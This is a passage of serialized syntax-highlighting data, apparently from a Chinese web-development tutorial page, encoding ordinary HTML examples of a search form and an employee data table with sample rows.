8],{"type":24,"value":12375},{"type":18,"tag":297,"props":13860,"children":13861},{"style":327},[13862],{"type":24,"value":9692},{"type":18,"tag":297,"props":13864,"children":13865},{"style":310},[13866],{"type":24,"value":13867},"\"reset\"",{"type":18,"tag":297,"props":13869,"children":13870},{"style":304},[13871],{"type":24,"value":12473},{"type":18,"tag":297,"props":13873,"children":13874},{"style":327},[13875],{"type":24,"value":9692},{"type":18,"tag":297,"props":13877,"children":13878},{"style":310},[13879],{"type":24,"value":13880},"\"重置\"",{"type":18,"tag":297,"props":13882,"children":13883},{"style":327},[13884],{"type":24,"value":335},{"type":18,"tag":297,"props":13886,"children":13888},{"class":299,"line":13887},40,[13889,13893,13897,13901,13905,13909,13913,13917,13921],{"type":18,"tag":297,"props":13890,"children":13891},{"style":327},[13892],{"type":24,"value":12451},{"type":18,"tag":297,"props":13894,"children":13895},{"style":9680},[13896],{"type":24,"value":12370},{"type":18,"tag":297,"props":13898,"children":13899},{"style":304},[13900],{"type":24,"value":12375},{"type":18,"tag":297,"props":13902,"children":13903},{"style":327},[13904],{"type":24,"value":9692},{"type":18,"tag":297,"props":13906,"children":13907},{"style":310},[13908],{"type":24,"value":12468},{"type":18,"tag":297,"props":13910,"children":13911},{"style":304},[13912],{"type":24,"value":12473},{"type":18,"tag":297,"props":13914,"children":13915},{"style":327},[13916],{"type":24,"value":9692},{"type":18,"tag":297,"props":13918,"children":13919},{"style":310},[13920],{"type":24,"value":12482},{"type":18,"tag":297,"props":13922,"children":13923},{"style":327},[13924],{"type":24,"value":335},{"type":18,"tag":297,"props":13926,"children":13928},{"class":299,"line":13927},41,[13929,13933,13937],{"type":18,"tag":297,"props":13930,"children":13931},{"style":327},[13932],{"type":24,"value":12451},{"type":18,"tag":297,"props":13934,"children":13935},{"style":9680},[13936],{"type":24,"value":6882},{"type":18,"tag":297,"props":13938,"children":13939},{"style":327},[13940],{"type":24,"value":335},{"type":18,"tag":297,"props":13942,"children":13944},{"class":299,"line":13943},42,[13945,13949,13953],{"type":18,"tag":297,"props":13946,"children":13947},{"style":327},[13948],{"type":24,"value":11688},{"type":18,"tag":297,"props":13950,"children":13951},{"style":9680},[13952],{"type":24,"value":12325},{"type":18,"tag":297,"props":13954,"children":13955},{"style":327},[13956],{"type":24,"value":335},{"type":18,"tag":34,"props":13958,"children":13959},{},[13960,13965],{"type":18,"tag":105,"props":13961,"children":13962},{},[13963],{"type":24,"value":13964},"案例",{"type":24,"value":222},{"type":18,"tag":287,"props":13967,"children":13969},{"className":9608,"code":13968,"language":9610,"meta":8,"style":8},"\u003C!-- 搜索表单区域 -->\n\u003Cform class=\"search-form\" action=\"\u002Fsearch\" method=\"post\">\n    \u003C!-- 注意：\n        placeholder 提示信息\n        for=\"name\" 表示绑定id=\"name\" 的表单项，即当点击for=\"name\"对应的label后，将自动将鼠标聚焦到id=\"name\"对应的label\n    -->\n    \u003Clabel for=\"name\">姓名：\u003C\u002Flabel>\n    \u003Cinput type=\"text\" id=\"name\" name=\"name\" placeholder=\"请输入姓名\">\n    \n    \u003C!-- input的提交标签可以使用button替换 -->\n    \u003Cbutton type=\"sumbit\">查询\u003C\u002Fbutton>\n",[13970],{"type":18,"tag":74,"props":13971,"children":13972},{"__ignoreMap":8},[13973,13981,14035,14043,14051,14059,14067,14104,14170,14177,14185],{"type":18,"tag":297,"props":13974,"children":13975},{"class":299,"line":300},[13976],{"type":18,"tag":297,"props":13977,"children":13978},{"style":5380},[13979],{"type":24,"value":13980},"\u003C!-- 搜索表单区域 -->\n",{"type":18,"tag":297,"props":13982,"children":13983},{"class":299,"line":657},[13984,13988,13992,13997,14001,14006,14010,14014,14019,14023,14027,14031],{"type":18,"tag":297,"props":13985,"children":13986},{"style":327},[13987],{"type":24,"value":319},{"type":18,"tag":297,"props":13989,"children":13990},{"style":9680},[13991],{"type":24,"value":12325},{"type":18,"tag":297,"props":13993,"children":13994},{"style":304},[13995],{"type":24,"value":13996}," class",{"type":18,"tag":297,"props":13998,"children":13999},{"style":327},[14000],{"type":24,"value":9692},{"type":18,"tag":297,"props":14002,"children":14003},{"style":310},[14004],{"type":24,"value":14005},"\"search-form\"",{"type":18,"tag":297,"props":14007,"children":14008},{"style":304},[14009],{"type":24,"value":12330},{"type":18,"tag":297,"props":14011,"children":14012},{"style":327},[14013],{"type":24,"value":9692},{"type":18,"tag":297,"props":14015,"children":14016},{"style":310},[14017],{"type":24,"value":14018},"\"\u002Fsearch\"",{"type":18,"tag":297,"props":14020,"children":14021},{"style":304},[14022],{"type":24,"value":12344},{"type":18,"tag":297,"props":14024,"children":14025},{"style":327},[14026],{"type":24,"value":9692},{"type":18,"tag":297,"props":14028,"children":14029},{"style":310},[14030],{"type":24,"value":12353},{"type":18,"tag":297,"props":14032,"children":14033},{"style":327},[14034],{"type":24,"value":335},{"type":18,"tag":297,"props":14036,"children":14037},{"class":299,"line":662},[14038],{"type":18,"tag":297,"props":14039,"children":14040},{"style":5380},[14041],{"type":24,"value":14042},"    \u003C!-- 注意：\n",{"type":18,"tag":297,"props":14044,"children":14045},{"class":299,"line":799},[14046],{"type":18,"tag":297,"props":14047,"children":14048},{"style":5380},[14049],{"type":24,"value":14050},"        placeholder 提示信息\n",{"type":18,"tag":297,"props":14052,"children":14053},{"class":299,"line":808},[14054],{"type":18,"tag":297,"props":14055,"children":14056},{"style":5380},[14057],{"type":24,"value":14058},"        for=\"name\" 表示绑定id=\"name\" 的表单项，即当点击for=\"name\"对应的label后，将自动将鼠标聚焦到id=\"name\"对应的label\n",{"type":18,"tag":297,"props":14060,"children":14061},{"class":299,"line":817},[14062],{"type":18,"tag":297,"props":14063,"children":14064},{"style":5380},[14065],{"type":24,"value":14066},"    -->\n",{"type":18,"tag":297,"props":14068,"children":14069},{"class":299,"line":826},[14070,14074,14078,14083,14087,14091,14096,14100],{"type":18,"tag":297,"props":14071,"children":14072},{"style":327},[14073],{"type":24,"value":12451},{"type":18,"tag":297,"props":14075,"children":14076},{"style":9680},[14077],{"type":24,"value":12799},{"type":18,"tag":297,"props":14079,"children":14080},{"style":304},[14081],{"type":24,"value":14082}," for",{"type":18,"tag":297,"props":14084,"children":14085},{"style":327},[14086],{"type":24,"value":9692},{"type":18,"tag":297,"props":14088,"children":14089},{"style":310},[14090],{"type":24,"value":12398},{"type":18,"tag":297,"props":14092,"children":14093},{"style":327},[14094],{"type":24,"value":14095},">姓名：\u003C\u002F",{"type":18,"tag":297,"props":14097,"children":14098},{"style":9680},[14099],{"type":24,"value":12799},{"type":18,"tag":297,"props":14101,"children":14102},{"style":327},[14103],{"type":24,"value":335},{"type":18,"tag":297,"props":14105,"children":14106},{"class":299,"line":4524},[14107,14111,14115,14119,14123,14127,14132,14136,14140,14144,14148,14152,14157,14161,14166],{"type":18,"tag":297,"props":14108,"children":14109},{"style":327},[14110],{"type":24,"value":12451},{"type":18,"tag":297,"props":14112,"children":14113},{"style":9680},[14114],{"type":24,"value":12370},{"type":18,"tag":297,"props":14116,"children":14117},{"style":304},[14118],{"type":24,"value":12375},{"type":18,"tag":297,"props":14120,"children":14121},{"style":327},[14122],{"type":24,"value":9692},{"type":18,"tag":297,"props":14124,"children":14125},{"style":310},[14126],{"type":24,"value":12384},{"type":18,"tag":297,"props":14128,"children":14129},{"style":304},[14130],{"type":24,"value":14131}," id",{"type":18,"tag":297,"props":14133,"children":14134},{"style":327},[14135],{"type":24,"value":9692},{"type":18,"tag":297,"props":14137,"children":14138},{"style":310},[14139],{"type":24,"value":12398},{"type":18,"tag":297,"props":14141,"children":14142},{"style":304},[14143],{"type":24,"value":12389},{"type":18,"tag":297,"props":14145,"children":14146},{"style":327},[14147],{"type":24,"value":9692},{"type":18,"tag":297,"props":14149,"children":14150},{"style":310},[14151],{"type":24,"value":12398},{"type":18,"tag":297,"props":14153,"children":14154},{"style":304},[14155],{"type":24,"value":14156}," placeholder",{"type":18,"tag":297,"props":14158,"children":14159},{"style":327},[14160],{"type":24,"value":9692},{"type":18,"tag":297,"props":14162,"children":14163},{"style":310},[14164],{"type":24,"value":14165},"\"请输入姓名\"",{"type":18,"tag":297,"props":14167,"children":14168},{"style":327},[14169],{"type":24,"value":335},{"type":18,"tag":297,"props":14171,"children":14172},{"class":299,"line":4533},[14173],{"type":18,"tag":297,"props":14174,"children":14175},{"style":327},[14176],{"type":24,"value":12715},{"type":18,"tag":297,"props":14178,"children":14179},{"class":299,"line":4546},[14180],{"type":18,"tag":297,"props":14181,"children":14182},{"style":5380},[14183],{"type":24,"value":14184},"    \u003C!-- input的提交标签可以使用button替换 -->\n",{"type":18,"tag":297,"props":14186,"children":14187},{"class":299,"line":4555},[14188,14192,14197,14201,14205,14210,14215,14219],{"type":18,"tag":297,"props":14189,"children":14190},{"style":327},[14191],{"type":24,"value":12451},{"type":18,"tag":297,"props":14193,"children":14194},{"style":9680},[14195],{"type":24,"value":14196},"button",{"type":18,"tag":297,"props":14198,"children":14199},{"style":304},[14200],{"type":24,"value":12375},{"type":18,"tag":297,"props":14202,"children":14203},{"style":327},[14204],{"type":24,"value":9692},{"type":18,"tag":297,"props":14206,"children":14207},{"style":310},[14208],{"type":24,"value":14209},"\"sumbit\"",{"type":18,"tag":297,"props":14211,"children":14212},{"style":327},[14213],{"type":24,"value":14214},">查询\u003C\u002F",{"type":18,"tag":297,"props":14216,"children":14217},{"style":9680},[14218],{"type":24,"value":14196},{"type":18,"tag":297,"props":14220,"children":14221},{"style":327},[14222],{"type":24,"value":335},{"type":18,"tag":27,"props":14224,"children":14226},{"id":14225},"_312-表格数据",[14227],{"type":24,"value":14228},"3.12 表格数据",{"type":18,"tag":34,"props":14230,"children":14231},{},[14232],{"type":18,"tag":105,"props":14233,"children":14234},{},[14235],{"type":24,"value":14236},"表格标签",{"type":18,"tag":34,"props":14238,"children":14239},{},[14240],{"type":18,"tag":54,"props":14241,"children":14244},{"alt":14242,"src":14243},"1776041276416","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776041276416.png",[],{"type":18,"tag":34,"props":14246,"children":14247},{},[14248],{"type":18,"tag":105,"props":14249,"children":14250},{},[14251],{"type":24,"value":9987},{"type":18,"tag":287,"props":14253,"children":14255},{"className":9608,"code":14254,"language":9610,"meta":8,"style":8},"\u003C!-- 表格展示区 -->\n\u003Ctable>\n  \u003C!-- 表头 -->\n  \u003Cthead>\n    \u003Ctr>\n      \u003Cth>姓名\u003C\u002Fth>\n      \u003Cth>性别\u003C\u002Fth>\n      \u003Cth>头像\u003C\u002Fth>\n      \u003Cth>职位\u003C\u002Fth>\n      \u003Cth>入职日期\u003C\u002Fth>\n      \u003Cth>最后操作时间\u003C\u002Fth>\n      \u003Cth>操作\u003C\u002Fth>\n    \u003C\u002Ftr>\n  \u003C\u002Fthead>\n  \u003C!-- 表格的主体内容 -->\n  \u003Ctbody>\n    \u003Ctr>\n      \u003Ctd>张三\u003C\u002Ftd>\n      \u003Ctd>男\u003C\u002Ftd>\n      \u003Ctd>\u003Cimg src=\"https:\u002F\u002Fvia.placeholder.com\u002F40\" alt=\"头像\">\u003C\u002Ftd>\n      \u003Ctd>前端开发工程师\u003C\u002Ftd>\n      \u003Ctd>2023-07-15\u003C\u002Ftd>\n      \u003Ctd>2025-04-13 10:23:45\u003C\u002Ftd>\n      \u003Ctd>\u003Cbutton>编辑\u003C\u002Fbutton> \u003Cbutton>删除\u003C\u002Fbutton>\u003C\u002Ftd>\n    \u003C\u002Ftr>\n    \u003Ctr>\n      \u003Ctd>李四\u003C\u002Ftd>\n      \u003Ctd>女\u003C\u002Ftd>\n      \u003Ctd>\u003Cimg src=\"https:\u002F\u002Fvia.placeholder.com\u002F40\" alt=\"头像\">\u003C\u002Ftd>\n      \u003Ctd>产品经理\u003C\u002Ftd>\n      \u003Ctd>2022-03-01\u003C\u002Ftd>\n      \u003Ctd>2025-04-12 16:42:18\u003C\u002Ftd>\n      \u003Ctd>\u003Cbutton>编辑\u003C\u002Fbutton> \u003Cbutton>删除\u003C\u002Fbutton>\u003C\u002Ftd>\n    \u003C\u002Ftr>\n    \u003Ctr>\n      \u003Ctd>王五\u003C\u002Ftd>\n      \u003Ctd>男\u003C\u002Ftd>\n      \u003Ctd>\u003Cimg src=\"https:\u002F\u002Fvia.placeholder.com\u002F40\" alt=\"头像\">\u003C\u002Ftd>\n      \u003Ctd>后端开发工程师\u003C\u002Ftd>\n      \u003Ctd>2024-01-08\u003C\u002Ftd>\n      \u003Ctd>2025-04-13 09:05:32\u003C\u002Ftd>\n      \u003Ctd>\u003Cbutton>编辑\u003C\u002Fbutton> \u003Cbutton>删除\u003C\u002Fbutton>\u003C\u002Ftd>\n    \u003C\u002Ftr>\n  \u003C\u002Ftbody>\n\u003C\u002Ftable>\n",[14256],{"type":18,"tag":74,"props":14257,"children":14258},{"__ignoreMap":8},[14259,14267,14282,14290,14306,14321,14346,14370,14394,14418,14442,14466,14490,14505,14521,14529,14544,14559,14583,14607,14665,14689,14713,14737,14794,14809,14824,14848,14872,14927,14951,14975,14999,15054,15069,15084,15108,15131,15186,15210,15234,15258,15313,15329,15345],{"type":18,"tag":297,"props":14260,"children":14261},{"class":299,"line":300},[14262],{"type":18,"tag":297,"props":14263,"children":14264},{"style":5380},[14265],{"type":24,"value":14266},"\u003C!-- 表格展示区 -->\n",{"type":18,"tag":297,"props":14268,"children":14269},{"class":299,"line":657},[14270,14274,14278],{"type":18,"tag":297,"props":14271,"children":14272},{"style":327},[14273],{"type":24,"value":319},{"type":18,"tag":297,"props":14275,"children":14276},{"style":9680},[14277],{"type":24,"value":431},{"type":18,"tag":297,"props":14279,"children":14280},{"style":327},[14281],{"type":24,"value":335},{"type":18,"tag":297,"props":14283,"children":14284},{"class":299,"line":662},[14285],{"type":18,"tag":297,"props":14286,"children":14287},{"style":5380},[14288],{"type":24,"value":14289},"  \u003C!-- 表头 -->\n",{"type":18,"tag":297,"props":14291,"children":14292},{"class":299,"line":799},[14293,14298,14302],{"type":18,"tag":297,"props":14294,"children":14295},{"style":327},[14296],{"type":24,"value":14297},"  \u003C",{"type":18,"tag":297,"props":14299,"children":14300},{"style":9680},[14301],{"type":24,"value":435},{"type":18,"tag":297,"props":14303,"children":14304},{"style":327},[14305],{"type":24,"value":335},{"type":18,"tag":297,"props":14307,"children":14308},{"class":299,"line":808},[14309,14313,14317],{"type":18,"tag":297,"props":14310,"children":14311},{"style":327},[14312],{"type":24,"value":12451},{"type":18,"tag":297,"props":14314,"children":14315},{"style":9680},[14316],{"type":24,"value":439},{"type":18,"tag":297,"props":14318,"children":14319},{"style":327},[14320],{"type":24,"value":335},{"type":18,"tag":297,"props":14322,"children":14323},{"class":299,"line":817},[14324,14329,14333,14338,14342],{"type":18,"tag":297,"props":14325,"children":14326},{"style":327},[14327],{"type":24,"value":14328},"      \u003C",{"type":18,"tag":297,"props":14330,"children":14331},{"style":9680},[14332],{"type":24,"value":443},{"type":18,"tag":297,"props":14334,"children":14335},{"style":327},[14336],{"type":24,"value":14337},">姓名\u003C\u002F",{"type":18,"tag":297,"props":14339,"children":14340},{"style":9680},[14341],{"type":24,"value":443},{"type":18,"tag":297,"props":14343,"children":14344},{"style":327},[14345],{"type":24,"value":335},{"type":18,"tag":297,"props":14347,"children":14348},{"class":299,"line":826},[14349,14353,14357,14362,14366],{"type":18,"tag":297,"props":14350,"children":14351},{"style":327},[14352],{"type":24,"value":14328},{"type":18,"tag":297,"props":14354,"children":14355},{"style":9680},[14356],{"type":24,"value":443},{"type":18,"tag":297,"props":14358,"children":14359},{"style":327},[14360],{"type":24,"value":14361},">性别\u003C\u002F",{"type":18,"tag":297,"props":14363,"children":14364},{"style":9680},[14365],{"type":24,"value":443},{"type":18,"tag":297,"props":14367,"children":14368},{"style":327},[14369],{"type":24,"value":335},{"type":18,"tag":297,"props":14371,"children":14372},{"class":299,"line":4524},[14373,14377,14381,14386,14390],{"type":18,"tag":297,"props":14374,"children":14375},{"style":327},[14376],{"type":24,"value":14328},{"type":18,"tag":297,"props":14378,"children":14379},{"style":9680},[14380],{"type":24,"value":443},{"type":18,"tag":297,"props":14382,"children":14383},{"style":327},[14384],{"type":24,"value":14385},">头像\u003C\u002F",{"type":18,"tag":297,"props":14387,"children":14388},{"style":9680},[14389],{"type":24,"value":443},{"type":18,"tag":297,"props":14391,"children":14392},{"style":327},[14393],{"type":24,"value":335},{"type":18,"tag":297,"props":14395,"children":14396},{"class":299,"line":4533},[14397,14401,14405,14410,14414],{"type":18,"tag":297,"props":14398,"children":14399},{"style":327},[14400],{"type":24,"value":14328},{"type":18,"tag":297,"props":14402,"children":14403},{"style":9680},[14404],{"type":24,"value":443},{"type":18,"tag":297,"props":14406,"children":14407},{"style":327},[14408],{"type":24,"value":14409},">职位\u003C\u002F",{"type":18,"tag":297,"props":14411,"children":14412},{"style":9680},[14413],{"type":24,"value":443},{"type":18,"tag":297,"props":14415,"children":14416},{"style":327},[14417],{"type":24,"value":335},{"type":18,"tag":297,"props":14419,"children":14420},{"class":299,"line":4546},[14421,14425,14429,14434,14438],{"type":18,"tag":297,"props":14422,"children":14423},{"style":327},[14424],{"type":24,"value":14328},{"type":18,"tag":297,"props":14426,"children":14427},{"style":9680},[14428],{"type":24,"value":443},{"type":18,"tag":297,"props":14430,"children":14431},{"style":327},[14432],{"type":24,"value":14433},">入职日期\u003C\u002F",{"type":18,"tag":297,"props":14435,"children":14436},{"style":9680},[14437],{"type":24,"value":443},{"type":18,"tag":297,"props":14439,"children":14440},{"style":327},[14441],{"type":24,"value":335},{"type":18,"tag":297,"props":14443,"children":14444},{"class":299,"line":4555},[14445,14449,14453,14458,14462],{"type":18,"tag":297,"props":14446,"children":14447},{"style":327},[14448],{"type":24,"value":14328},{"type":18,"tag":297,"props":14450,"children":14451},{"style":9680},[14452],{"type":24,"value":443},{"type":18,"tag":297,"props":14454,"children":14455},{"style":327},[14456],{"type":24,"value":14457},">最后操作时间\u003C\u002F",{"type":18,"tag":297,"props":14459,"children":14460},{"style":9680},[14461],{"type":24,"value":443},{"type":18,"tag":297,"props":14463,"children":14464},{"style":327},[14465],{"type":24,"value":335},{"type":18,"tag":297,"props":14467,"children":14468},{"class":299,"line":4568},[14469,14473,14477,14482,14486],{"type":18,"tag":297,"props":14470,"children":14471},{"style":327},[14472],{"type":24,"value":14328},{"type":18,"tag":297,"props":14474,"children":14475},{"style":9680},[14476],{"type":24,"value":443},{"type":18,"tag":297,"props":14478,"children":14479},{"style":327},[14480],{"type":24,"value":14481},">操作\u003C\u002F",{"type":18,"tag":297,"props":14483,"children":14484},{"style":9680},[14485],{"type":24,"value":443},{"type":18,"tag":297,"props":14487,"children":14488},{"style":327},[14489],{"type":24,"value":335},{"type":18,"tag":297,"props":14491,"children":14492},{"class":299,"line":4577},[14493,14497,14501],{"type":18,"tag":297,"props":14494,"children":14495},{"style":327},[14496],{"type":24,"value":13597},{"type":18,"tag":297,"props":14498,"children":14499},{"style":9680},[14500],{"type":24,"value":439},{"type":18,"tag":297,"props":14502,"children":14503},{"style":327},[14504],{"type":24,"value":335},{"type":18,"tag":297,"props":14506,"children":14507},{"class":299,"line":4590},[14508,14513,14517],{"type":18,"tag":297,"props":14509,"children":14510},{"style":327},[14511],{"type":24,"value":14512},"  \u003C\u002F",{"type":18,"tag":297,"props":14514,"children":14515},{"style":9680},[14516],{"type":24,"value":435},{"type":18,"tag":297,"props":14518,"children":14519},{"style":327},[14520],{"type":24,"value":335},{"type":18,"tag":297,"props":14522,"children":14523},{"class":299,"line":4599},[14524],{"type":18,"tag":297,"props":14525,"children":14526},{"style":5380},[14527],{"type":24,"value":14528},"  \u003C!-- 表格的主体内容 -->\n",{"type":18,"tag":297,"props":14530,"children":14531},{"class":299,"line":4607},[14532,14536,14540],{"type":18,"tag":297,"props":14533,"children":14534},{"style":327},[14535],{"type":24,"value":14297},{"type":18,"tag":297,"props":14537,"children":14538},{"style":9680},[14539],{"type":24,"value":459},{"type":18,"tag":297,"props":14541,"children":14542},{"style":327},[14543],{"type":24,"value":335},{"type":18,"tag":297,"props":14545,"children":14546},{"class":299,"line":4616},[14547,14551,14555],{"type":18,"tag":297,"props":14548,"children":14549},{"style":327},[14550],{"type":24,"value":12451},{"type":18,"tag":297,"props":14552,"children":14553},{"style":9680},[14554],{"type":24,"value":439},{"type":18,"tag":297,"props":14556,"children":14557},{"style":327},[14558],{"type":24,"value":335},{"type":18,"tag":297,"props":14560,"children":14561},{"class":299,"line":4624},[14562,14566,14570,14575,14579],{"type":18,"tag":297,"props":14563,"children":14564},{"style":327},[14565],{"type":24,"value":14328},{"type":18,"tag":297,"props":14567,"children":14568},{"style":9680},[14569],{"type":24,"value":466},{"type":18,"tag":297,"props":14571,"children":14572},{"style":327},[14573],{"type":24,"value":14574},">张三\u003C\u002F",{"type":18,"tag":297,"props":14576,"children":14577},{"style":9680},[14578],{"type":24,"value":466},{"type":18,"tag":297,"props":14580,"children":14581},{"style":327},[14582],{"type":24,"value":335},{"type":18,"tag":297,"props":14584,"children":14585},{"class":299,"line":4633},[14586,14590,14594,14599,14603],{"type":18,"tag":297,"props":14587,"children":14588},{"style":327},[14589],{"type":24,"value":14328},{"type":18,"tag":297,"props":14591,"children":14592},{"style":9680},[14593],{"type":24,"value":466},{"type":18,"tag":297,"props":14595,"children":14596},{"style":327},[14597],{"type":24,"value":14598},">男\u003C\u002F",{"type":18,"tag":297,"props":14600,"children":14601},{"style":9680},[14602],{"type":24,"value":466},{"type":18,"tag":297,"props":14604,"children":14605},{"style":327},[14606],{"type":24,"value":335},{"type":18,"tag":297,"props":14608,"children":14609},{"class":299,"line":4641},[14610,14614,14618,14622,14626,14630,14634,14639,14644,14648,14653,14657,14661],{"type":18,"tag":297,"props":14611,"children":14612},{"style":327},[14613],{"type":24,"value":14328},{"type":18,"tag":297,"props":14615,"children":14616},{"style":9680},[14617],{"type":24,"value":466},{"type":18,"tag":297,"props":14619,"children":14620},{"style":327},[14621],{"type":24,"value":12635},{"type":18,"tag":297,"props":14623,"children":14624},{"style":9680},[14625],{"type":24,"value":54},{"type":18,"tag":297,"props":14627,"children":14628},{"style":304},[14629],{"type":24,"value":10567},{"type":18,"tag":297,"props":14631,"children":14632},{"style":327},[14633],{"type":24,"value":9692},{"type":18,"tag":297,"props":14635,"children":14636},{"style":310},[14637],{"type":24,"value":14638},"\"https:\u002F\u002Fvia.placeholder.com\u002F40\"",{"type":18,"tag":297,"props":14640,"children":14641},{"style":304},[14642],{"type":24,"value":14643}," alt",{"type":18,"tag":297,"props":14645,"children":14646},{"style":327},[14647],{"type":24,"value":9692},{"type":18,"tag":297,"props":14649,"children":14650},{"style":310},[14651],{"type":24,"value":14652},"\"头像\"",{"type":18,"tag":297,"props":14654,"children":14655},{"style":327},[14656],{"type":24,"value":10600},{"type":18,"tag":297,"props":14658,"children":14659},{"style":9680},[14660],{"type":24,"value":466},{"type":18,"tag":297,"props":14662,"children":14663},{"style":327},[14664],{"type":24,"value":335},{"type":18,"tag":297,"props":14666,"children":14667},{"class":299,"line":4650},[14668,14672,14676,14681,14685],{"type":18,"tag":297,"props":14669,"children":14670},{"style":327},[14671],{"type":24,"value":14328},{"type":18,"tag":297,"props":14673,"children":14674},{"style":9680},[14675],{"type":24,"value":466},{"type":18,"tag":297,"props":14677,"children":14678},{"style":327},[14679],{"type":24,"value":14680},">前端开发工程师\u003C\u002F",{"type":18,"tag":297,"props":14682,"children":14683},{"style":9680},[14684],{"type":24,"value":466},{"type":18,"tag":297,"props":14686,"children":14687},{"style":327},[14688],{"type":24,"value":335},{"type":18,"tag":297,"props":14690,"children":14691},{"class":299,"line":4658},[14692,14696,14700,14705,14709],{"type":18,"tag":297,"props":14693,"children":14694},{"style":327},[14695],{"type":24,"value":14328},{"type":18,"tag":297,"props":14697,"children":14698},{"style":9680},[14699],{"type":24,"value":466},{"type":18,"tag":297,"props":14701,"children":14702},{"style":327},[14703],{"type":24,"value":14704},">2023-07-15\u003C\u002F",{"type":18,"tag":297,"props":14706,"children":14707},{"style":9680},[14708],{"type":24,"value":466},{"type":18,"tag":297,"props":14710,"children":14711},{"style":327},[14712],{"type":24,"value":335},{"type":18,"tag":297,"props":14714,"children":14715},{"class":299,"line":4681},[14716,14720,14724,14729,14733],{"type":18,"tag":297,"props":14717,"children":14718},{"style":327},[14719],{"type":24,"value":14328},{"type":18,"tag":297,"props":14721,"children":14722},{"style":9680},[14723],{"type":24,"value":466},{"type":18,"tag":297,"props":14725,"children":14726},{"style":327},[14727],{"type":24,"value":14728},">2025-04-13 10:23:45\u003C\u002F",{"type":18,"tag":297,"props":14730,"children":14731},{"style":9680},[14732],{"type":24,"value":466},{"type":18,"tag":297,"props":14734,"children":14735},{"style":327},[14736],{"type":24,"value":335},{"type":18,"tag":297,"props":14738,"children":14739},{"class":299,"line":4703},[14740,14744,14748,14752,14756,14761,14765,14769,14773,14778,14782,14786,14790],{"type":18,"tag":297,"props":14741,"children":14742},{"style":327},[14743],{"type":24,"value":14328},{"type":18,"tag":297,"props":14745,"children":14746},{"style":9680},[14747],{"type":24,"value":466},{"type":18,"tag":297,"props":14749,"children":14750},{"style":327},[14751],{"type":24,"value":12635},{"type":18,"tag":297,"props":14753,"children":14754},{"style":9680},[14755],{"type":24,"value":14196},{"type":18,"tag":297,"props":14757,"children":14758},{"style":327},[14759],{"type":24,"value":14760},">编辑\u003C\u002F",{"type":18,"tag":297,"props":14762,"children":14763},{"style":9680},[14764],{"type":24,"value":14196},{"type":18,"tag":297,"props":14766,"children":14767},{"style":327},[14768],{"type":24,"value":12626},{"type":18,"tag":297,"props":14770,"children":14771},{"style":9680},[14772],{"type":24,"value":14196},{"type":18,"tag":297,"props":14774,"children":14775},{"style":327},[14776],{"type":24,"value":14777},">删除\u003C\u002F",{"type":18,"tag":297,"props":14779,"children":14780},{"style":9680},[14781],{"type":24,"value":14196},{"type":18,"tag":297,"props":14783,"children":14784},{"style":327},[14785],{"type":24,"value":10600},{"type":18,"tag":297,"props":14787,"children":14788},{"style":9680},[14789],{"type":24,"value":466},{"type":18,"tag":297,"props":14791,"children":14792},{"style":327},[14793],{"type":24,"value":335},{"type":18,"tag":297,"props":14795,"children":14796},{"class":299,"line":4711},[14797,14801,14805],{"type":18,"tag":297,"props":14798,"children":14799},{"style":327},[14800],{"type":24,"value":13597},{"type":18,"tag":297,"props":14802,"children":14803},{"style":9680},[14804],{"type":24,"value":439},{"type":18,"tag":297,"props":14806,"children":14807},{"style":327},[14808],{"type":24,"value":335},{"type":18,"tag":297,"props":14810,"children":14811},{"class":299,"line":4720},[14812,14816,14820],{"type":18,"tag":297,"props":14813,"children":14814},{"style":327},[14815],{"type":24,"value":12451},{"type":18,"tag":297,"props":14817,"children":14818},{"style":9680},[14819],{"type":24,"value":439},{"type":18,"tag":297,"props":14821,"children":14822},{"style":327},[14823],{"type":24,"value":335},{"type":18,"tag":297,"props":14825,"children":14826},{"class":299,"line":4728},[14827,14831,14835,14840,14844],{"type":18,"tag":297,"props":14828,"children":14829},{"style":327},[14830],{"type":24,"value":14328},{"type":18,"tag":297,"props":14832,"children":14833},{"style":9680},[14834],{"type":24,"value":466},{"type":18,"tag":297,"props":14836,"children":14837},{"style":327},[14838],{"type":24,"value":14839},">李四\u003C\u002F",{"type":18,"tag":297,"props":14841,"children":14842},{"style":9680},[14843],{"type":24,"value":466},{"type":18,"tag":297,"props":14845,"children":14846},{"style":327},[14847],{"type":24,"value":335},{"type":18,"tag":297,"props":14849,"children":14850},{"class":299,"line":13515},[14851,14855,14859,14864,14868],{"type":18,"tag":297,"props":14852,"children":14853},{"style":327},[14854],{"type":24,"value":14328},{"type":18,"tag":297,"props":14856,"children":14857},{"style":9680},[14858],{"type":24,"value":466},{"type":18,"tag":297,"props":14860,"children":14861},{"style":327},[14862],{"type":24,"value":14863},">女\u003C\u002F",{"type":18,"tag":297,"props":14865,"children":14866},{"style":9680},[14867],{"type":24,"value":466},{"type":18,"tag":297,"props":14869,"children":14870},{"style":327},[14871],{"type":24,"value":335},{"type":18,"tag":297,"props":14873,"children":14874},{"class":299,"line":13553},[14875,14879,14883,14887,14891,14895,14899,14903,14907,14911,14915,14919,14923],{"type":18,"tag":297,"props":14876,"children":14877},{"style":327},[14878],{"type":24,"value":14328},{"type":18,"tag":297,"props":14880,"children":14881},{"style":9680},[14882],{"type":24,"value":466},{"type":18,"tag":297,"props":14884,"children":14885},{"style":327},[14886],{"type":24,"value":12635},{"type":18,"tag":297,"props":14888,"children":14889},{"style":9680},[14890],{"type":24,"value":54},{"type":18,"tag":297,"props":14892,"children":14893},{"style":304},[14894],{"type":24,"value":10567},{"type":18,"tag":297,"props":14896,"children":14897},{"style":327},[14898],{"type":24,"value":9692},{"type":18,"tag":297,"props":14900,"children":14901},{"style":310},[14902],{"type":24,"value":14638},{"type":18,"tag":297,"props":14904,"children":14905},{"style":304},[14906],{"type":24,"value":14643},{"type":18,"tag":297,"props":14908,"children":14909},{"style":327},[14910],{"type":24,"value":9692},{"type":18,"tag":297,"props":14912,"children":14913},{"style":310},[14914],{"type":24,"value":14652},{"type":18,"tag":297,"props":14916,"children":14917},{"style":327},[14918],{"type":24,"value":10600},{"type":18,"tag":297,"props":14920,"children":14921},{"style":9680},[14922],{"type":24,"value":466},{"type":18,"tag":297,"props":14924,"children":14925},{"style":327},[14926],{"type":24,"value":335},{"type":18,"tag":297,"props":14928,"children":14929},{"class":299,"line":13591},[14930,14934,14938,14943,14947],{"type":18,"tag":297,"props":14931,"children":14932},{"style":327},[14933],{"type":24,"value":14328},{"type":18,"tag":297,"props":14935,"children":14936},{"style":9680},[14937],{"type":24,"value":466},{"type":18,"tag":297,"props":14939,"children":14940},{"style":327},[14941],{"type":24,"value":14942}